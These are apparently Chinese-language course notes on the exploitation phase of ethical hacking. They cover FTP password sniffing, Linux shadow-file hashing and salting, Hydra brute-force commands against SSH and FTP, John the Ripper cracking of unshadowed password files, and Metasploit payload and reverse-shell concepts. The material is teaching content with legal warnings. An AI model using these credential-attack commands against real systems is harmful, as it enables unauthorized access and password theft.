本节课中我们一起学习了漏洞扫描器的简要介绍。提醒一下,利用模块中的演示视频第一部分包括了运行本幻灯片所涵盖的扫描。
下一个模块将涵盖几个有趣的问题。首先,是否可能扫描位于NAT设备后的设备。其次,能否使用Tor进行匿名扫描。


032:漏洞利用导论 🎯
在本节课中,我们将要学习道德黑客方法论中的关键阶段——漏洞利用。我们将了解其定义、重要性、执行前提以及核心目标,为后续学习具体的攻击技术打下基础。
上一节我们介绍了扫描阶段,本节中我们来看看渗透测试的下一步:漏洞利用。

漏洞利用在方法论中的位置
本幻灯片将本次讲座置于我们的方法论背景中。漏洞利用是我们渗透测试方法中的下一个步骤。

法律与前提警告
必须提醒的是,未经授权的漏洞利用是违法的。因此,在进入该方法论的这一阶段之前,拥有一份定义渗透测试范围的书面协议至关重要。
同样重要的是,必须已完成侦察和扫描阶段。换句话说,我们应该已经识别出一些我们想要尝试利用的漏洞。
核心目标与方法
我们的目标是采用精准的外科手术式方法,而不是简单地抛出一堆漏洞利用程序来测试哪个有效。

这种“听天由命”的方法可能有效,也可能无效,但可以肯定的是,你将被检测到。
另一个提醒是,获取设备上的 root 权限并非我们的目标。我们的目标是就某个安全区域的安全状态以及所发现的任何弱点对任务造成的潜在影响,制定一些衡量标准。

避免脚本小子思维
脚本小子无疑认为漏洞利用是充满魅力的。当我们在一台机器上获得管理员权限时,这对我们所有人来说都相当有成就感。
但我们需要有条不紊地进行。做到彻底并避免被检测非常重要,因为这可能会使测试结果产生偏差。事实上,最坏的情况是,如果网络操作员检测到攻击,他们可能会将系统完全从网络中断开。
我们希望在有效技术和潜在无效技术之间找到适当的平衡,以节省测试时间、避免被检测,并优化向客户提供的风险评估和缓解建议。


漏洞利用阶段的好处
为了讨论漏洞利用阶段的好处,我们可以将其置于三个经典安全目标的背景下。
以下是漏洞利用在三个安全目标中的具体体现:
- 保密性:我们想向客户展示任何可能导致重要敏感信息(如信用卡号或个人身份信息)被窃取的弱点。
- 完整性:我们想发现可能允许攻击者修改信息(如数据库中的 PII)、修改客户订单信息甚至篡改组织网页的弱点。
- 可用性:我们需要展示与导致关键任务系统崩溃或负担过重相关的风险,使其对用户不可用,从而影响任务执行。

过渡到具体技术
介绍性评论到此结束,我们将开始深入研究危害密码的技术。

我们将从了解如何在密码以明文形式传输时嗅探它们开始。


本节课中我们一起学习了漏洞利用阶段的核心概念。我们明确了其合法性前提、执行所需的准备工作(完成侦察与扫描),以及其最终目标——评估安全风险而非单纯获取权限。我们还探讨了漏洞利用如何帮助验证保密性、完整性和可用性这三个核心安全目标的脆弱性。接下来,我们将进入实践环节,学习具体的密码攻击技术。
033:密码嗅探 🔍
在本节课中,我们将要学习密码嗅探技术。这是一种捕获未受保护密码的方法。我们将了解其原理、相关工具,并通过一个实际案例演示如何捕获明文传输的FTP凭据。

概述
密码嗅探是一种用于捕获网络中未受保护密码的技术。尽管大多数人都了解风险,并且密码需要在网络传输中得到保护,但仍有服务使用不安全的协议。此外,一些账户可能使用默认的、众所周知的密码。从渗透测试方法论来看,我们仍处于“漏洞利用”阶段,但接下来的几个小节将聚焦于密码相关的攻击。
识别用户ID与密码
在侦察阶段,我们讨论过几种有助于收集姓名和电子邮件地址的工具。我们可以利用电子邮件地址的本地部分(即“@”符号前的部分)和已识别的姓名来尝试猜测登录ID。

安全意识薄弱的组织可能会直接使用电子邮件地址的本地部分作为用户ID,但这会增加风险。因此,具备更多安全知识的组织已不再采用这种方法。
以下是一些可能有助于确定用户ID的模式示例。假设我们确定一个用户的姓名是Robert Henderson:
rhendersonrobert.hendersonrobert_hendersonr.hendersonroberthhendersonr

当然,即使我们猜出了用户ID,仍然需要密码。不过,有了用户ID,我们或许能猜出弱密码,或者使用暴力破解工具进行穷举搜索。
利用默认账户
当系统由经验不足的管理员配置或出现失误时,使用默认密码的默认账户有时仍会被保留下来。你应该保留一份默认登录凭据列表,并在投入精力尝试其他技术之前,始终先尝试这些默认凭据。
注意:在搜索此类列表时需保持谨慎,因为你可能会访问到恶意网站。
明文传输协议
在互联网早期,密码有时会以明文形式传输。以下是三种曾经(显然现在有时仍是)以明文传递凭据的服务:
- Telnet:用于远程登录的旧协议。
- FTP:文件传输协议。
- R-Services (rlogin, rsh):这些服务如果在
.rhosts文件中找到用户名,可能根本不要求凭据。但当未找到且用户需要提交凭据时,它们也是以明文传输。
当这些凭据以明文形式传输,并且我们能够访问局域网段时,我们就可以启动嗅探器,在线路上捕获经过的数据包。
嗅探器与工作模式
如果网络适配器处于混杂模式,嗅探器将捕获局域网上通过的所有数据包,而不仅仅是发往本机MAC地址的数据包。这本质上是混杂模式的定义。
无线局域网也有类似的适配器属性和工具,尽管我们通常更常用监视模式这个术语,而不是混杂模式。一个非常著名的无线工具是Airmon-ng,它只是一整套无线攻击工具中的一个。一个关键区别在于,在监视模式下,嗅探器收集来自所有SSID的数据包,并且其有效载荷很可能使用WEP或WPA2加密。
常用嗅探工具
还有其他可用的嗅探器:
- Tcpdump:非常有用,因为它是Linux系统原生的工具。
- Cain and Abel 和 Ettercap:都具备一定的嗅探功能,但嗅探并非其主要功能。
Cain and Abel本质上是一个Windows密码破丨解丨器,但它可以嗅探交换式局域网上的流量或模拟中间人攻击。Ettercap是一套用于中间人攻击的工具套件,同时也能够嗅探活动连接。
实战:嗅探FTP凭据
FTP是明文传输凭据的服务之一。在讨论嗅探这些凭据之前,我们先回顾一下FTP握手过程。请注意,一些防火墙会跟踪握手从一个步骤到下一个步骤的状态。
FTP连接建立过程如下:
- 客户端从其非特权命令端口(例如1026)连接到服务器的知名命令端口21,并告知服务器其数据端口(例如1027)。
- 服务器向客户端的命令端口发送ACK确认。
- 服务器从其知名的本地数据端口20发起连接到客户端之前指定的数据端口(1027)。
- 客户端向服务器的数据端口发送ACK确认,如步骤4所示。

有状态防火墙会跟踪FTP会话涉及两套端口这一事实,并会阻止任何未经过握手过程的外部连接请求。
在接下来的演示中,我们将捕获FTP凭据。客户端将是Kali,服务器将是Ubuntu。我们将在Kali上运行Wireshark进行捕获,但同样也可以在Ubuntu上使用Tcpdump完成。
实验步骤

- 在Kali上,在
eth0接口(通常是在Kali上定义的唯一接口)上启动Wireshark。 - 在Kali中打开一个终端,与Ubuntu启动一个FTP会话。请注意,用户ID会发送给服务器,但当输入密码时,终端上不会显示密码字符。不幸的是,这就是密码在网络上以明文传输时所获得的唯一保护。
- 在Wireshark中观察捕获的数据包。前三个数据包建立TCP连接(SYN, SYN-ACK, ACK)并请求FTP服务。第四个数据包是握手第二步,服务器对FTP请求作出响应。在进入FTP数据传输阶段之前,需要进行身份验证。
- 首先,客户端发送用户名。
- 服务器回应并请求密码。
- 客户端发送密码。正如你所见,它是未受保护且可读的。
- 一旦通过身份验证,FTP数据会话就会启动,允许双向传输文件。但此时凭据已经被嗅探到了。
总结
本节课中,我们一起学习了密码嗅探技术。我们了解了如何利用用户信息猜测ID、警惕默认账户、识别明文传输协议(如FTP、Telnet),并掌握了使用嗅探工具(如Wireshark)在混杂/监视模式下捕获网络流量。通过一个实际的FTP凭据嗅探演示,我们清晰地看到了明文密码在传输过程中的脆弱性。这强调了在任何网络服务中使用加密协议(如SSH、SFTP、HTTPS)来保护认证凭据的极端重要性。

核心概念与代码/公式摘要:
- 混杂模式:网络适配器接收所有流经网段的数据包,不限于本机地址。在代码中,这通常需要通过工具或命令设置。
- 明文传输:指密码等敏感信息未经加密,直接以可读形式(如ASCII)在网络中传输。例如,在FTP中,密码可能以
PASS mypassword这样的命令直接发送。 - FTP握手与数据连接:涉及两个端口:命令端口(默认21)和数据端口(动态协商)。有状态防火墙会跟踪这个关联。
034:密码哈希 🔐
在本节课中,我们将要学习密码在系统中如何被管理和存储,特别是Linux系统下的密码哈希机制。我们将探讨密码保护的重要性、哈希与加盐的原理,以及攻击者如何尝试破解密码。理解这些基础知识对于评估和提升系统认证安全至关重要。

密码存储与保护机制 🔒
上一节我们介绍了密码作为常见认证机制的风险。本节中我们来看看密码是如何被保护,以避免被轻易读取的。
密码是常见的认证机制,这意味着如果密码没有得到适当保护,被泄露的风险很高。解决此问题的典型方法之一是要求用户使用更长、更复杂的密码。但问题在于,这可能导致用户重复使用密码或将其写下来。一些用户试图通过使用键盘模式来规避,但这本身也带来风险。
除了用户选择简单密码外,我们还需考虑密码的存储方式。一些网站存储你的实际密码,而非哈希值。它们这样做是为了密码恢复。它们通过SSL隧道接收凭证,但大多数会通过电子邮件发送密码以进行恢复。如果一个网站向你发送了密码,你应在恢复后立即重置。

虽然并非所有网站都强制执行,但许多网站采用的更复杂、更安全的方法是存储哈希值,并在必要时向你发送重置链接。但即使密码是哈希凭证,根据所使用的协议,它也可能被重放。
联邦身份验证指南 📜

基于第13691号行政命令,NIST为联邦政府制定了新的身份验证指南。根据此指南,当密码用作认证机制时,需要第二个因素。该特别出版物讨论了六个选项。认证因素包括:1. 查找卡;2. 安全的带外连接;3. 安全ID(如一次性密码设备);4. 嵌入式加密设备。最重要的是,电子邮件不再被授权使用,SMS短信也即将被弃用。
Linux密码文件与影子文件 📁
密码曾一度以明文形式存储。它们被存储在密码文件中,今天你会在那里看到一个“x”。如果未使用影子文件,你可能会在那里看到一个密码哈希。然而,当使用影子机制时(几乎所有系统都如此配置),你只会看到“x”,并且必须查看影子文件才能看到哈希。
影子文件只能由root用户读取或写入,但它并未加密,尽管你可能期望如此。下面的屏幕截图显示了影子文件,每个用户有三个字段。第一个字段标识哈希函数。在本例中,$6$ 表示它使用SHA-256。接下来的两个字段使用Base64编码。一个重要的事实是,这是一种简单、众所周知、可逆的编码机制,因此它不提供保密性。第二个字段包含编码后的盐。
该盐值与密码连接,然后使用第一个字段标识的算法进行哈希计算。接着所有内容都被编码。因此,盐值被编码,但以明文形式存储(除了编码本身)。所以你应该问自己,它如何为保护机制增加价值。

Base64编码简介 🔢
Base64是一组类似的二进制到文本编码方案,它通过将二进制数据转换为Base64表示形式,以ASCII字符串格式表示二进制数据。当需要编码必须在设计用于处理文本数据的介质上存储和传输的二进制数据时,通常会使用Base64编码方案,例如电子邮件。其目的是确保数据在传输过程中作为字母数字字符保持完整,不被修改。
这种编码器已经存在很长时间了。对于Base64,算法基于6位字符串。因此,从24位二进制数据(通常被视为3个字节)开始,我们每次标记6位,直到所有数据都被标记。这些6位字符串代表ASCII表中的一个值。因此,Base64中的4个6位字符串会转换为类似 Ka/f 的字符。其思想是,Ka/f 比二进制字符串更容易通过电子邮件传输。

密码强度与密钥空间 🔑
如果加密密钥很弱,强加密的帮助就不大。对于一些系统,密钥要么是密码,要么基于密码。这些密码可能因多种原因而弱,但一个重要的影响因素是密钥空间的大小。我们确实应该使用128位密钥以确保安全。但使用8字符密码会使我们处于最多56位的密钥空间中。如果让用户选择密码,密钥空间将比这小得多。因此,无论密钥加密机制有多强,我们都需要确保密码远长于8个字符,否则就是“弱保护强”。

无盐密码的字典攻击 📖
以下是攻击者在密码未加盐时可能使用的字典示例。他从一个可能密码列表开始,这个列表可能是从类似RockYou泄露事件等来源收集的。他计算SHA-2哈希并进行Base64编码。现在,假设他已经窃取了系统的影子文件。如果用户的密码在字典中,进行查找并获取密码就很简单。他可能需要创建多个表,具体取决于系统使用的摘要大小,但一切都可以预先计算以简化攻击。

加盐机制的原理与流程 🧂
为了增加攻击者任务的计算复杂性,引入了盐的概念。这是一个随机数,每个用户都不同。在哈希和编码之前,用户的盐值与用户的密码连接。现在,攻击者要进行任何预计算,都必须为给定系统中用作盐的每个随机数计算字典,因为每个密码都有不同的盐。这显著扩大了攻击者必须处理的密钥空间。
以下是认证的工作原理:在创建账户时(流程顶部),生成一个盐,在哈希和编码之前将其与密码连接。然后所有内容都存储在影子文件中。当用户想要登录时,他输入ID和密码。操作系统在影子文件中查找盐值,解码它,并将其与密码连接。结果被哈希和编码,并与影子文件中存储的结果进行比较。如果两者匹配,则用户通过认证。
加盐密码的字典攻击 📊

这类似于我们之前看到的表,但现在它包含了盐的概念。攻击者必须为影子文件中的每个盐创建一个这样的表。在本例中,只预计算了盐1。通过增加哈希函数的应用次数(迭代次数),可以进一步提高计算复杂性。在本例中,迭代1000次。由于使用的迭代次数也存储在影子文件中,它可以为每个用户设置不同,尽管对复杂性的影响不会很大,但管理预计算过程要复杂得多。
攻击加盐密码的步骤 ⚙️

以下是攻击者在使用字典攻击加盐密码时必须经历的步骤。我进行了简化,假设每个用户使用相同的哈希迭代次数,但也可以通过可插拔认证模块(PAM)或编写脚本并使用PAM的 succeed_if 模块以任一方式实现。
对于每个盐,你需要一个单独的字典,迭代次数使得创建过程繁琐且耗时,特别是如果每个用户的次数不同。你还需要注意Windows系统不给密码加盐的事实。因此,如果攻击者能拿到影子文件,字典攻击可能会高效得多。由于对遗留软件的影响和需要保持向后兼容性,微软尚未做出改变。

密码猜测与破解工具 🛠️

密码猜测可能是获取系统访问权限的极其有效的方法,因为许多人从不更改密码。他们重复使用旧密码,很少使用随机字符串。他们选择自己能记住的密码。但如果你猜不到密码,破解工具可以提供帮助。当密码文件未被窃取时,在线工具很有用,尽管登录尝试限制会使在线攻击复杂化。然而,如果密码文件已被窃取,则可以使用云计算和GPU集群等大规模离线资源。
我们已经讨论了哈希和加盐如何融入基于密码的认证过程,现在我们将花一些时间看看在线和离线破解。
总结 📝

本节课中我们一起学习了密码哈希的核心概念。我们了解到,密码不应以明文存储,而应存储其哈希值。为了提高安全性,引入了“盐”——一个与密码连接后再进行哈希的随机值,这能有效抵御预计算的字典攻击。我们还探讨了Base64编码的作用、密钥空间大小对密码强度的影响,以及攻击者针对加盐和未加盐密码的不同攻击策略。最后,我们简要介绍了密码猜测和破解工具的使用场景。理解这些原理是实施和评估安全认证系统的基础。
035:在线密码破解 🔓
在本节课中,我们将要学习一种在线密码破解工具——Hydra。在线密码破解将利用方法中的密码环节,从嗅探和猜测扩展到其他技术。

上一节我们介绍了密码在攻击方法中的重要性,本节中我们来看看如何在线尝试登录以破解密码。
在线密码破解工具概述
在线密码破解工具主要有两种:Medusa 和 Hydra。课程中讨论了 Medusa,因此这里只介绍 Hydra。严格来说,Hydra 并非一个“破丨解丨器”,它更像一个强大的密码猜测器。
你需要提供一个登录ID列表和一个明文密码列表,Hydra 会在线测试它们是否有效。这意味着我们首先需要利用一些社会工程学技术来获取ID,然后准备我们的密码列表,以查看我们试图在线攻破的目标是否在列表中。
Hydra 的核心功能与特性
Hydra 还包含一个暴力破解选项,通过命令行参数可以指定尝试的密码长度和字母数字组合。
Hydra 被设计为支持多种不同的登录协议,并且是多线程的,可以同时针对多个服务器提高性能。它还包括计时控制功能,用于尝试欺骗那些设置了超时限制以阻止多次登录尝试的身份验证服务。

以下是 Hydra 支持的部分协议:
- SSH
- FTP
- HTTP
- SMB
- 数据库协议
Hydra 使用示例:攻击 SSH 服务
假设通过社会工程学,你发现 smeltMD1 可能是一个有效的用户 ID。并且你知道在 Kali 黑客社区中,Tor 是一个常用密码。当 Tor 无效时,你决定尝试 Toor。
使用的命令行如下:
hydra -l smeltMD1 -p Toor 192.168.1.10 ssh
该命令向 Hydra 提供了猜测的用户 ID、猜测的密码、服务运行的 IP 地址以及要攻击的服务名称。由于未提供端口信息,Hydra 会假设使用标准的 SSH 端口 22。Hydra 尝试在线登录并获得了成功。

GUI 版本与命令行版本
如果你更习惯图形界面,Hydra 也提供了 GUI 版本。但我始终推荐使用命令行版本,因为 GUI 版本可能无法提供所有选项,并且将结果通过管道传递给其他命令行工具是一项重要的 Linux 技术。

暴力破解选项详解
-x 暴力破解选项允许你指定尝试密码的最小长度和最大长度。这一点很重要,因为最大长度决定了攻击将持续多长时间,尤其是在 Hydra 需要在尝试之间等待以欺骗服务器的情况下。
字符集规范也会影响暴力破解的时间,因为它增加了必须测试的组合数量。
hydra -l username -x 6:8:a1 192.168.1.10 ftp
此命令示例表示对用户 username 尝试 6 到 8 位长度,由小写字母和数字组成的密码。

总结与下节预告
本节课中我们一起学习了 Hydra,它是众多通过实际尝试在线登录来破解密码的工具之一。Hydra 通过多线程、协议支持和计时控制,能够有效地进行在线密码猜测和暴力破解。

接下来,我们将学习当密码文件被提取后如何进行破解,那样就没有超时问题会减慢攻击速度了。
036:离线密码破解 🔑

在本节课中,我们将要学习离线密码破解的过程,特别是如何使用“John the Ripper”工具对已提取的密码文件进行攻击。我们将从基本概念入手,逐步讲解操作步骤和脚本示例,最后讨论密码安全性的核心原则。
离线密码破解概述
离线密码破解是一个两步过程。第一步是提取密码文件,第二步是对该文件运行攻击。本次讨论的重点是流程中的第二步,即攻击密码文件。
使用 John the Ripper 工具

在渗透测试方法论中,离线密码破解延续了我们对密码组件的利用。John the Ripper 和 hashcat 是渗透测试实验室中需要的两个工具。虽然我们不会详细讨论 hashcat,但网上有大量文档,并且 Kali 系统内置了 hashcat 帮助文件可供参考。Loft crack 是 Windows 上一个类似的工具,我们不会使用它。但由于我们已经创建了 Windows 虚拟机,您可能想用它进行实验。
对于 Linux 系统,我们可以使用 root 权限复制密码文件。然而,在 Windows 系统上提取 SAM 文件则稍微棘手一些,因为系统运行时,Windows 会对 SAM 文件保持独占锁定。一种常见的方法是使用 Linux 实时 USB 启动硬件,将 Windows 磁盘挂载到 Linux 操作系统上,然后复制文件。根据构建方式,Linux USB 也可能存在持久性问题。
扩展攻击面与脚本示例
在将攻击面扩展到包含现有账户的密码和影子文件以及潜在的复杂密码之前,我们可以先看一个简单的脚本。该脚本添加两个具有非常简单密码的新账户,然后调用 JTR 来破解它们。

以下是脚本的主要逻辑块,您可以将其视为伪代码:
- 第一步:删除脚本先前运行可能遗留的任何密码文件。这只是一个预防性的错误控制措施。
- 第二步:添加两个使用弱密码的新用户。
- 第三步:John the Ripper 依赖于将
/etc/passwd和/etc/shadow文件合并为一个文件,这通常称为“unshadow”。这是脚本的下一步。 - 第四步:运行 JTR,并将破解出的密码存储在一个名为
target的文件中。 - 第五步:通过删除包含破解密码的文件并从系统中移除新添加的用户来进行清理。
如果您决定运行此脚本,建议备份密码和影子文件,以防脚本版本中的错误损坏这些文件。

脚本细节与执行

脚本的第一部分定义了函数,但实际执行始于脚本的另一部分。您应该自行通读脚本,但这里有几个要点需要注意:
- 在
generate_password函数中,-t 5表示哈希算法将是 MD5,我们需要在运行 JTR 时告知它这一点。 - 像 Kali 这样的 Debian 发行版通常使用
adduser命令来添加用户,但该命令会提示输入密码。因此,脚本使用useradd,它允许通过generate_password生成哈希,然后传递给useradd。 - 最后,请注意简单的密码:
abc123和password。
脚本的入口点显示了函数和系统调用,与之前展示的伪代码相同。请注意,JTR 调用中使用了 -format=md5 来指定哈希格式。crack 函数中的 unshadow 命令合并了密码和影子文件。我们确实使用 MD5 添加了用户,但 Kali 通常使用 SHA-512 创建影子文件。因此,在运行 JTR 时,请确保不要混淆这两者。

运行结果与 JTR 工作阶段
运行脚本后的屏幕截图显示,John 很快找到了弱密码。请记住,您需要 root 访问权限才能读取影子文件,因此脚本要正确运行以进行“unshadow”操作,就需要 root 权限。显然,这在 Kali 上不是问题,但如果您尝试在其他虚拟机上编写脚本,则可能是个问题。
如果您不是攻击自己的系统,捕获影子文件的方式与之前讨论的捕获 SAM 文件的方式大致相同:使用您拥有 root 权限的 Linux 实时 USB 启动硬件,挂载磁盘,并将影子和密码文件都复制到 USB。
JTR 在尝试破解密码时会经历三个阶段:

- 单一破解阶段:它尝试使用登录名、用户全名和用户主目录名作为候选密码。所有这些都可在密码文件中找到,并且会对这些字段的内容应用大量变形规则。
- 字典攻击阶段:JTR 使用单词列表。如果未在命令行中指定用户的单词列表,JTR 将使用其默认单词列表
pass.lst。该词典有限,因此通常提供自定义列表会更有效。 - 增量破解阶段:这是一种暴力破解方法。在此阶段,您必须指定密码中使用的字符集和密码长度,类似于 Hydra。
密码列表与图形界面
屏幕截图显示,Kali 在 /usr/share/wordlists 目录下提供了其他几个单词列表,而 JTR 的单词列表不包含在该目录中。RockYou 可能是最著名的列表,因为它源自 2009 年的一次在线游戏数据泄露,包含了 3200 万个密码。一个有趣的点是,如果您将 139 MB 的文件大小转换为字节并除以 3200 万,得到的平均密码长度为 4.5 个字符。Kali 附带的版本只有 1400 万个密码,而不是 3200 万个。因此,我推测其中超过一半的密码选择非常糟糕,以至于需要从任何体面的词典中剔除。

互联网上有可用的词典,但许多并非免费。也就是说,如果您在互联网上寻找密码列表,请非常小心,以免访问恶意网站。
像大多数工具一样,JTR 有一个名为 Johnny 的图形用户界面版本。此屏幕截图非常陈旧,因为自那次运行以来 GUI 已经更新。但重要的是,就像 JTR 一样,Johnny 确实会运行所有三个破解阶段。我曾将 webgoat 用作 WebGoat 的密码,Johnny 在大约两分钟内就破解了它。而密码 t0r0nt0 在运行 17 小时后仍在破解中,这告诉您,在增量阶段,虚拟机缺乏破解复杂密码所需的计算能力。

高级破解与密码安全原则
这是一张 GPU 密码破解集群的图片。声称它能在不到 6 小时内破解每个标准 Windows 密码是具有误导性的,因为暴力破解显然取决于密码的长度限制。更有意义的是指出,它每秒可以进行 3500 亿次猜测。
这是一幅 XKCD 漫画,它指出常见的字符替换和添加键盘符号可能不是密码的最佳选择。另一方面,从常见短语中选取单词,如“four score”或“20 years ago”,也同样脆弱。即使是知名口令的首字母也很脆弱。黑客也知道这些短语。
难以破解的密码来自于选取多个随机单词并将它们串联在一起。换句话说,它不是任何人以前听过的短语。因此,它可能不会出现在词典中,并且也增加了复杂性,从而显著提高了对抗暴力破解工具的能力。我们大多数系统管理员甚至通过要求我们添加数字、键盘字符和大写字母来进一步增加复杂性。顺便说一下,这是一幅漫画,所以我猜其中的熵值数字可能站不住脚。

总结与下节预告
本节课中,我们一起学习了离线密码破解的核心流程,掌握了使用 John the Ripper 工具进行密码攻击的基本方法,并通过脚本示例理解了自动化操作。我们还探讨了密码强度的重要性以及暴力破解的局限性。

这完成了我们渗透测试阶段中密码组件部分的学习。现在,我们希望继续学习一个更著名的漏洞利用工具,称为 Metasploit。我们将使用免费版本,但专业版本具有显著增强的功能。如果您在从事渗透测试的组织中工作,可能对增强版有一些经验。请在讨论板上分享。
037:漏洞利用实践 🛠️

在本节课中,我们将学习如何使用一个漏洞利用工具。这是我们在道德黑客方法论中,漏洞利用阶段的最后一块内容。
上一节我们介绍了漏洞的概念,本节中我们来看看如何实际利用它们。
漏洞利用工具简介
接下来,我们将深入探讨一个漏洞利用工具的使用。如前所述,存在多种工具,但我们将使用 Metasploit。这是一个红队成员和脚本小子都使用的知名工具。
利用框架的优势

利用框架有许多优点,但可扩展性可能是最重要的。因为这允许多个参与者向社区贡献新工具。基于框架的设计也促进了工具的流行,因为它使工具更易于使用。即使对技术细节的理解非常有限,也能使用。当然,这也使其在脚本小子中很受欢迎。
关于利用工具需要记住的一点是,它们可能导致系统崩溃,因为利用程序可能产生意想不到的效果。
以下是三个工具(还有其他工具)。当Nessus识别出潜在漏洞时,它会推荐来自Metasploit和Canvas的利用程序。因此,它们在渗透测试社区中是集成的。
利用与载荷:两步过程

我们在关于黑客背景的讲座中讨论过这张幻灯片。但在这里,我添加了蓝色背景来突出利用漏洞和投递载荷的两步过程。

洛克希德·马丁公司提出的网络杀伤链为这个画面提供了一个略有不同的视角。该模型使用以下术语:
- 武器化:将漏洞利用程序与后门程序结合成可投递载荷的步骤。
- 投递:通过电子邮件、网络、USB等方式将武器化捆绑包发送给受害者。
- 利用:利用漏洞在受害者系统上执行代码。
- 安装:在资产上安装恶意软件。
这两种观点没有显著差异。但当你学习Metasploit时,你会发现漏洞利用程序和载荷可能是分开发送的。杀伤链更紧密地与电子邮件或USB攻击向量耦合,而与网络投递的关联性较弱,后者可以适应多个包的投递。
Metasploit框架详解

Metasploit大约在2003年使用Perl脚本创建。它最终用Ruby重写。如果你想向框架贡献利用程序,你需要具备良好的Ruby知识。
2009年Rapid 7收购Metasploit时,协议的一部分是必须始终有一个免费版本,而Rapid 7也一直维护着该版本。它有三种用户界面,但我只讨论msfconsole。如果你偏好其他界面,欢迎在实验中使用。在线教程非常全面,如果你有时间,值得在 www.offensive-security.com/metasploit-unleashed 上探索。
Metasploit被称为框架,是因为它是一种模块化、可插拔的架构,易于添加和使用他人贡献的利用程序。这里显示的架构是简化的,顶部显示了三个用户界面,底部显示了重要的插件。
- 利用插件:利用某些漏洞(如缓冲区溢出)的代码。
- 载荷示例:缓冲区溢出后执行的shell代码。
- 编码器示例:从发送到缓冲区的数据包中移除空字符(即字符串终止符)的工具。
编码器还试图隐藏利用程序,使其不被入侵检测系统和防火墙发现。然而,它们的效果并不理想,因为供应商也会跟踪新的编码器,并调整其检测机制以适应新的编码器。Metasploit提供了几种编码器,如果用户没有明确指定,它会默认选择一个。
使用Metasploit的流程
使用Metasploit的过程始于侦察、信息收集和扫描。一旦识别出潜在漏洞,用户必须告诉Metasploit尝试哪个利用程序。
选择利用程序后,Metasploit会筛选出适用的载荷列表,用户必须选择一个载荷。然后可以设置三组IP地址:
LHOST通常是本地主机,即攻击机器(在我们的案例中是Kali)。RHOST是远程主机或目标。SRVHOST通常是设置监听器的地方,等待目标上的载荷回连。对于实验,我们将在Kali上启动监听器。
数据库与注意事项

Metasploit还有一个PostgreSQL数据库来跟踪与目标网络相关的活动。它允许快速方便地访问扫描信息,并能够从各种第三方工具导入和导出扫描结果。这些信息可用于快速配置模块选项,但最重要的是,它使结果保持整洁有序。
这只是一个提醒,Metasploit需要在你的道德黑客环境中使用。在互联网上冒险很可能违反《联邦计算机欺诈和滥用法案》以及众多州法律。在探索此工具功能时,请谨慎、负责任地操作。

环境配置与启动


此屏幕截图显示,如果你保持NAT接口开放,可能会得到更有限的结果。当然,这些是Nmap扫描结果,不是Metasploit结果。但重点是,当接口可用于向互联网传输数据包时,工具的行为会有所不同。


这些是让PostgreSQL在启动时启动的说明。但即使配置好后,每次Kali重启后,你仍然需要使用命令 msfdb start 为Metasploit启动数据库。

此屏幕截图显示了Metasploit的启动。显示底部是关于你的版本中可用的利用程序、载荷和编码器数量的信息。你应该定期更新你的版本,但提醒一下,完成后记得停用更新器。
核心组件:利用、载荷与编码器
在Metasploit中,术语 利用 指的是一种利用缺陷的技术。它可以执行缓冲区溢出、利用配置错误或进行注入。如果程序员在检查输入时粗心大意,就可能被利用。
利用程序有评级。一旦你识别出一个关键漏洞,你可以在Metasploit中搜索相关的利用程序。通常不止一个,但它们并非生而平等,评级提供了可靠性的相对比较。分数越高,利用程序成功的可能性越大,导致目标崩溃的可能性越小。
一旦你在目标上获得立足点,Metasploit提供了可以在被攻陷目标上运行的 后期利用模块,用于收集证据、提升权限并深入目标网络。
如前所述,Metasploit将利用程序与载荷分开。一旦利用程序利用了缺陷,载荷 就代表了恶意活动。它可能执行一个程序,或提供一个攻击者可用的shell。最后一个要点显示了一个重要的概念:载荷可能在目标上启动一个监听器,攻击者必须连接到它。攻击者也可以在攻击机器上启动一个监听器。在这种情况下,载荷会回连并创建一个所谓的 反向shell。
通常更倾向于反向连接,因为它们被防火墙检测到的可能性更小。此外,目标上没有运行等待连接的监听器,这减少了被管理员发现的可能性。
在这个例子中,监听器在Kali上启动。利用程序被发送到远程主机,然后是载荷。当载荷执行时,它回连到攻击机器,创建一个C2通道。此时,攻击者可能只是交互式地使用shell,或者Metasploit可能发送额外的载荷,如后期利用载荷,或者一个非常特殊的载荷,用于创建一个非常特殊的shell,称为 Meterpreter。
编码器 改变载荷代码有几个原因。一个原因是消除某些嵌入字符。例如,空字符会给字符串复制带来问题,而字符串复制经常在缓冲区溢出利用中被利用。因此,需要从攻击数据包中移除空字符。
另一个原因是编码提供了一种隐藏于防御机制的方法。进行多次编码会使恶意代码签名的创建复杂化。例如,假设攻击者对一个众所周知的载荷编码10001次,但防御方只有最多10000种不同编码的签名。编码带来的挑战是,每次编码都会增加载荷大小。为了支持自动解码,攻击者必须提供解码器。在这种情况下,正是解码器提供了攻击签名。因此,编码多少次并不重要。
我们稍后将讨论变形和多态病毒的概念,其核心思想是规避防御方识别解码器的能力。如前所述,Metasploit必须发送解码器,以便载荷能在目标上解码和执行。
像利用程序一样,编码器也有评级。有些比其他的更好。Metasploit提供了一个默认解码器,它已从 shikata_ga_nai 更改为 powershell_base64。
msfvenom -l 将列出所有可用的编码器及其评级。有超过30种。msfvenom 也是一个有趣的工具,因为它可以用来生成恶意载荷。事实上,我们将在实验中使用它来创建针对Windows 7的利用程序。
Meterpreter:高级载荷
如前所述,在第一个载荷(例如,创建反向shell)执行后,可能会发送第二个载荷,一个非常特殊的载荷会创建一个独特的、特殊用途的shell,称为 Meterpreter。
Meterpreter 针对 Windows 机器具有更多功能。因此,对于我们的大多数实验,它不会扮演重要角色,但我会演示一个针对 Windows 机器的选择,向你展示它的强大之处。一个非常重要的方面是,Meterpreter 启动时不会创建新进程,因此更难被检测到。
Meterpreter 的一个重要功能是 migrate 命令,它将 Meterpreter 服务器迁移到不同的进程中。服务器最初以被利用进程的权限启动。但如果该进程死亡,Meterpreter 服务器也会死亡。例如,利用 IE 浏览器很常见,因为它有很多漏洞。但如果浏览器被关闭,Meterpreter 服务器就会死亡。migrate 提供了一种将其移动到持久进程的方法。
如黄色高亮所示,一旦反向shell建立,Metasploit将发送载荷的第二部分,该部分运行并等待发送Meterpreter服务器。此时,可以创建Meterpreter shell并建立通信。
总结与下节预告
我已经介绍了利用程序、载荷和编码器的概念,但编码器需要使用解码器。因此,下一个主题将简要探讨加密的概念,试图隐藏解码器的存在。


本节课中我们一起学习了漏洞利用工具Metasploit的基本概念、核心组件(利用、载荷、编码器)及其使用流程。我们了解了其框架优势、数据库功能以及高级载荷Meterpreter的作用。记住,所有这些操作都必须在授权和合法的道德黑客环境中进行。
038:多态与变形代码 🦠
